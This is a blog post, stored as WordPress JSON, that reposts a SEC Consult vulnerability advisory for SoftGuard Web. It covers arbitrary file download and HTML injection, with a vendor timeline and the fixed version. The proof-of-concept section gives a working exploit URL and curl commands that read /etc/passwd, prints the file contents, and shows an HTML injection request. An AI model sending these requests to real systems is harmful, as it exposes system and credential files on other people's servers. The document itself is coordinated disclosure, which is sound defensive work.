{"id":25981,"date":"2022-06-20T22:28:13","date_gmt":"2022-06-20T18:28:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167542\/SA-20220609-0.txt"},"modified":"2022-06-26T08:44:44","modified_gmt":"2022-06-26T04:14:44","slug":"softguard-snmp-network-management-extension-html-injection-file-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/softguard-snmp-network-management-extension-html-injection-file-download\/","title":{"rendered":"SoftGuard SNMP Network Management Extension HTML Injection \/ File Download"},"content":{"rendered":"<p dir=\"ltr\">SEC Consult Vulnerability Lab Security Advisory &lt; 20220609-0 &gt;<br \/>\n=======================================================================<br \/>\ntitle: Multiple vulnerabilities<br \/>\nproduct: SoftGuard SNMP Network Management Extension<br \/>\nvulnerable version: SoftGuard Web (SGW) &lt; 5.1.5<br \/>\nfixed version: SoftGuard version 5.1.5 from 2022-06-01<br \/>\nCVE number: CVE-2022-31201, CVE-2022-31202<br \/>\nimpact: High<br \/>\nhomepage: https:\/\/gravitate.eu (reseller)<br \/>\nfound: 2022-04-14<br \/>\nby: Philipp Espernberger (Office Linz)<br \/>\nSEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">An integrated part of SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">https:\/\/www.sec-consult.com<\/p>\n<p dir=\"ltr\">=======================================================================<\/p>\n<p dir=\"ltr\">Vendor description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nThere is no public description available for this vendor\/product. The following<br \/>\ndescription was provided as documentation:<\/p>\n<p dir=\"ltr\">&#8220;SoftGuard is a network management extension which collects inventory-, analysis-<br \/>\nand debugging data of devices and networks at least once a day. SoftGuard has an<br \/>\nopen structure, is built simple, is easily expandable, easy to use and is laid out<br \/>\nfor large scale networks. The data collection is performed with the protocols SNMP<br \/>\nsupporting the versions 1, 2c and 3. Additional protocols like ssh, telnet, rsh,<br \/>\nhttps, NetBIOS\/IP, ICMP &#8230; complemented by SNMP if required.<\/p>\n<p dir=\"ltr\">The SoftGuard Suite consists of three parts:<\/p>\n<p dir=\"ltr\">* SoftGuard Network Center (SNC)<br \/>\n* SoftGuard Host Center (SHC)<br \/>\n* SoftGuard Monitor Center (SMC)<\/p>\n<p dir=\"ltr\">Aditionally there are a bunch of common and customer specific expansions like<br \/>\nSoftGuard Web (SGW), SoftGuard Statistic Tool (SST), Port Configuration Tool (PCT),<br \/>\nNetwork Access Points (NAP), Technician Access Point (TAP), etc.&#8221;<\/p>\n<p dir=\"ltr\">Business recommendation:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nSEC Consult recommends to update to the latest version of SoftGuard (network management<br \/>\nextension).<\/p>\n<p dir=\"ltr\">An in-depth security analysis performed by security professionals is highly<br \/>\nadvised, to identify and resolve potential further critical security issues.<\/p>\n<p dir=\"ltr\">Vulnerability overview\/description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) File System Access (CVE-2022-31202)<br \/>\nThe export function allows authenticated attackers to download any<br \/>\narbitrary local file from the file system due to insufficient input<br \/>\nvalidation. The unfiltered URL parameter query enables an attacker to<br \/>\naccess arbitrary local files. This allows the attacker to define the<br \/>\ncomplete path and the filename by himself. Files that include passwords<br \/>\nand other sensitive information can be accessed.<br \/>\nFurthermore, the built-in man functionality also allows attackers to<br \/>\nread any arbitrary local file from the file system.<\/p>\n<p dir=\"ltr\">2) HTML Injection (CVE-2022-31201)<br \/>\nVarious components do not properly sanitize\/encode user input. This<br \/>\nleads to HTML injection vulnerabilities. By exploiting this vulnerability,<br \/>\nan attacker can include arbitrary HTML into the affected web page. The<br \/>\ncode is executed in the context of the victim&#8217;s browser when visiting<br \/>\nthe manipulated URL. The vulnerability can be used to change the contents<br \/>\nof the displayed site or redirect to other sites.<\/p>\n<p dir=\"ltr\">During the security assessment it was not possible to execute JavaScript<br \/>\ncode because the security headers Content-Security-Policy and<br \/>\nX-Content-Type-Options are preventing the execution.<\/p>\n<p dir=\"ltr\">Proof of concept:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) File System Access (CVE-2022-31202)<br \/>\n1a) Export functionality<br \/>\nIn order to access arbitrary local files, the export function as authenticated<br \/>\nuser (Administration -&gt; User -&gt; Access -&gt; Export) can be used. The following URL<br \/>\nwas used to set the filename to \/etc\/passwd<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host:8016\/sgw\/export?dbs=file&#038;db=DefUser_access_$username_db%2e<br \/>\n1649426888398872%2etmp&amp;query=file%3a\/etc\/passwd&#8217;<\/p>\n<p dir=\"ltr\">===============================================================================<\/p>\n<p dir=\"ltr\">The newly set filename (\/etc\/passwd) can be exported and downloaded via the<br \/>\nexecution button. Afterwards the content of the file gets downloaded successfully.<br \/>\n===============================================================================<br \/>\nroot:x:0:0:root:\/root:\/bin\/bash<br \/>\nbin:x:1:1:bin:\/bin:\/sbin\/nologin<br \/>\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin<br \/>\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin<br \/>\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin<br \/>\nsync:x:5:0:sync:\/sbin:\/bin\/sync<br \/>\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin<br \/>\nftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin<br \/>\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin<br \/>\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin<br \/>\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin<br \/>\n[&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\">1b) MAN functionality<br \/>\nThe following curl command shows how an authenticated attacker can gain access<br \/>\nto any arbitrary local file:<br \/>\n===============================================================================<br \/>\ncurl &#8216;https:\/\/$host:8016\/cgi-bin\/man.tcl&#8217; -H &#8216;Authorization: Basic [&#8230;]&#8217;<br \/>\n&#8211;data &#8216;act=1&amp;x=%2Fetc%2Fpasswd&amp;submit=Execute&#8217; &#8211;compressed &#8211;insecure<\/p>\n<p dir=\"ltr\">===============================================================================<\/p>\n<p dir=\"ltr\">The curl response includes the contents of the file:<br \/>\n===============================================================================<br \/>\n&lt;!DOCTYPE html&gt;<br \/>\n&lt;html lang=&#8221;en&#8221;&gt;&lt;head&gt;&lt;meta charset=&#8221;UTF-8&#8243; \/&gt;<br \/>\n[&#8230;]\n&lt;pre&gt;<br \/>\nroot:x:0:0:root:\/root:\/bin\/bash<br \/>\nbin:x:1:1:bin:\/bin:\/sbin\/nologin<br \/>\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin<br \/>\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin<br \/>\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin<br \/>\nsync:x:5:0:sync:\/sbin:\/bin\/sync<br \/>\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin<br \/>\nftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin<br \/>\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin<br \/>\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin<br \/>\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin<br \/>\n[&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\">2) HTML Injection (CVE-2022-31201)<br \/>\nWhen a new graph is created an authenticated attacker controls the GET parameters<br \/>\nand can inject malicious content. The following curl command shows how an<br \/>\nauthenticated attacker can inject HTML code:<br \/>\n===============================================================================<br \/>\ncurl &#8216;https:\/\/$host:8016\/sgw\/graph?tbl=sgNode&amp;t=percent&amp;h=Status%3Ch1%3ESEC-<br \/>\nConsult%3C\/h1%3E+%23&amp;v=%7bdown+1934+orange%7d+%7bicmp+555+red%7d+%7bsnmpaaaa+8723+green%7d&amp;scale=5&#8217;<br \/>\n-H &#8216;Authorization: Basic [&#8230;]&#8217; &#8211;compressed &#8211;insecure<\/p>\n<p dir=\"ltr\">===============================================================================<\/p>\n<p dir=\"ltr\">The curl response includes the injected HTML code &lt;h1&gt;SEC Consult&lt;\/h1&gt;:<br \/>\n===============================================================================<br \/>\n&lt;!DOCTYPE html&gt;<br \/>\n&lt;html lang=&#8221;en&#8221;&gt;<br \/>\n&lt;head&gt;<br \/>\n&lt;meta charset=&#8221;UTF-8&#8243;\/&gt;<br \/>\n&lt;title&gt;SGW &#8211; Graph: Node&lt;\/title&gt;<br \/>\n[&#8230;]\n&lt;\/head&gt;<br \/>\n&lt;body class=&#8221;master&#8221;&gt;<br \/>\n[&#8230;]\n&lt;caption&gt;\u22113, Status&lt;h1&gt;SEC Consult&lt;\/h1&gt;, #11212&lt;\/caption&gt;<br \/>\n[&#8230;]\n&lt;tr&gt;&lt;td&gt;Status&lt;h1&gt;SEC Consult&lt;\/h1&gt;&lt;\/td&gt;<br \/>\n[&#8230;]\n&lt;\/body&gt;&lt;\/html&gt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\">Vulnerable \/ tested versions:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nThe following version has been tested and found to be vulnerable:<br \/>\n* SoftGuard Web (SGW) 5.1.3<\/p>\n<p dir=\"ltr\">The vendor provided the following information regarding the affected versions:<\/p>\n<p dir=\"ltr\">1a) affected version 4.5.0 (2019-05-04) to version 4.5.8 (2020-05-05)<br \/>\n1b) since SoftGuard 2.0 with SoftGuard Web 1.0 (~1998\/99)<br \/>\n2) since SoftGuard 3.6.0 (2009-10-31) \/ SoftGuard 3.6.6 (2011-02-15) with<br \/>\nSoftGuard Web 2.6.0\/2.6.6<\/p>\n<p dir=\"ltr\">Vendor contact timeline:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n2022-05-11: Contacting vendor through direct email address.<br \/>\n2022-05-11: Sent encrypted security advisory to vendor<br \/>\n2022-05-12: Received feedback from the vendor for the security advisory<br \/>\n2022-05-16: Received confirmation that a new version of SoftGuard was<br \/>\nalready rolled out to the customers which included the fix<br \/>\n2022-05-16: Received additional information which versions are vulnerable<br \/>\n2022-05-19: Received CVE numbers.<br \/>\n2022-05-20: Reviewed the fixed version 5.1.4 and found that HTML injection<br \/>\nstill works at other endpoints, other issues are fixed.<br \/>\n2022-05-20: Vendor replies that new version 5.1.5. will be released on 1st June.<br \/>\n2022-06-01: Vendor releases patched version 5.1.5.<br \/>\n2022-06-09: Coordinated release of security advisory.<\/p>\n<p dir=\"ltr\">Solution:<br \/>\n&#8212;&#8212;&#8212;<br \/>\nThe vendor rolled out new software versions. Affected users should verify that<br \/>\nthey are using the latest version available (5.1.5 from 2022-06-01 or higher).<\/p>\n<p dir=\"ltr\">Workaround:<br \/>\n&#8212;&#8212;&#8212;&#8211;<br \/>\nNone<\/p>\n<p dir=\"ltr\">Advisory URL:<br \/>\n&#8212;&#8212;&#8212;&#8212;-<br \/>\nhttps:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">SEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\">SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\">About SEC Consult Vulnerability Lab<br \/>\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>\nAtos company. It ensures the continued knowledge gain of SEC Consult in the<br \/>\nfield of network and application security to stay ahead of the attacker. The<br \/>\nSEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>\nthe evaluation of new offensive and defensive technologies for our customers.<br \/>\nHence our customers obtain the most current information about vulnerabilities<br \/>\nand valid recommendation about the risk profile of new technologies.<\/p>\n<p dir=\"ltr\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>\nInterested to work with the experts of SEC Consult?<br \/>\nSend us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p dir=\"ltr\">Interested in improving your cyber security with the experts of SEC Consult?<br \/>\nContact our local offices https:\/\/sec-consult.com\/contact\/<br \/>\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p dir=\"ltr\">Mail: security-research at sec-consult dot com<br \/>\nWeb: https:\/\/www.sec-consult.com<br \/>\nBlog: http:\/\/blog.sec-consult.com<br \/>\nTwitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p dir=\"ltr\">EOF P. Espernberger \/ @2022<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20220609-0 &gt; ======================================================================= title: Multiple vulnerabilities product: SoftGuard SNMP Network Management Extension vulnerable version: SoftGuard Web (SGW) &lt; 5.1.5 fixed version: SoftGuard version 5.1.5 from 2022-06-01 CVE number: CVE-2022-31201, CVE-2022-31202 impact: High homepage: https:\/\/gravitate.eu (reseller) found: 2022-04-14 by: Philipp Espernberger (Office Linz) SEC Consult Vulnerability Lab An integrated &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25981","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25981"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25981\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}